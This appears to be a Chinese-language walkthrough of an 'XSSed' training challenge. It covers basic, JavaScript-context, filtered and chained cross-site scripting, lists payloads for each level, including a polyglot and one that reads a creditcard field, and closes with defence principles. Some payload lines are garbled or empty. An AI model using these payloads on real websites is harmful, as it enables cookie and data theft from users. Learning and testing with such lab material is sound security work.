XSSed通关教程
字数 693 2025-08-24 16:48:16
XSSed通关教程
1. Basic XSS (基础XSS)
漏洞分析
漏洞产生于直接将用户输入插入HTML页面,没有任何过滤:
echo($_GET['q']);
有效Payloads
-
基本弹窗:
<script>alert(/xss/)</script> -
获取Cookie:
<script>alert(document.cookie)</script> -
a标签XSS:
<a href="javascript:alert('xss')">xss</a> -
图片加载失败执行:
-
iframe框架:
<iframe onload=alert('xss')> -
SVG标签:
<svg onload=alert(1)> -
video标签:
<video onloadstart=alert(1) src="/media/hack-the-planet.mp4" /> -
body标签:
<body onload=alert(1)> -
style标签:
<style onload=alert(1)></style> -
input标签:
<input onmouseover=alert(1)> -
万能XSS:
jaVasCript:oNclJavaScript XSSiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
2. JavaScript XSS
漏洞分析
漏洞产生于将用户输入未经过滤插入JavaScript代码段:
$q = $_GET['q'];
<script type="text/javascript">var search_term = " $q";</script>
有效Payloads
-
字符串闭合注入:
a";alert(1);var q="a -
图片加载失败执行:
3. Filtered XSS (过滤XSS)
漏洞分析
creditcard参数有严格的正则过滤id参数仅转义了双引号- 木桶原理:只要有一个可控输入位置成为插入点,其他输入的过滤再严格也没有意义
利用方法
-
将隐藏的
id输入框改为可见:<input type="hidden" name="id" value="123">修改为:
<input type="text" name="id" value="123"> -
利用JavaScript伪协议:
--><a href=javascript:alert(1);>click</a><!-- -
获取creditcard值的最终Payload:
--><a href=javascript:alert(document.getElementById('creditcard').innerHTML);>click</a><!--
4. Chained XSS (链式XSS)
有效Payload
<script>alert(/xss/)</script>
关键知识点总结
-
XSS注入点:
- 直接HTML插入
- JavaScript字符串插入
- 属性值插入
-
绕过技巧:
- 字符串闭合
- JavaScript伪协议
- 利用HTML注释绕过过滤
- 多种标签和事件处理器
-
防御原则:
- 所有用户输入必须经过适当过滤和转义
- 遵循"木桶原理",确保所有输入点都安全
- 使用内容安全策略(CSP)等额外防护措施
-
测试方法:
- 尝试各种HTML标签和JavaScript代码
- 检查页面源代码查看过滤情况
- 尝试闭合字符串或注释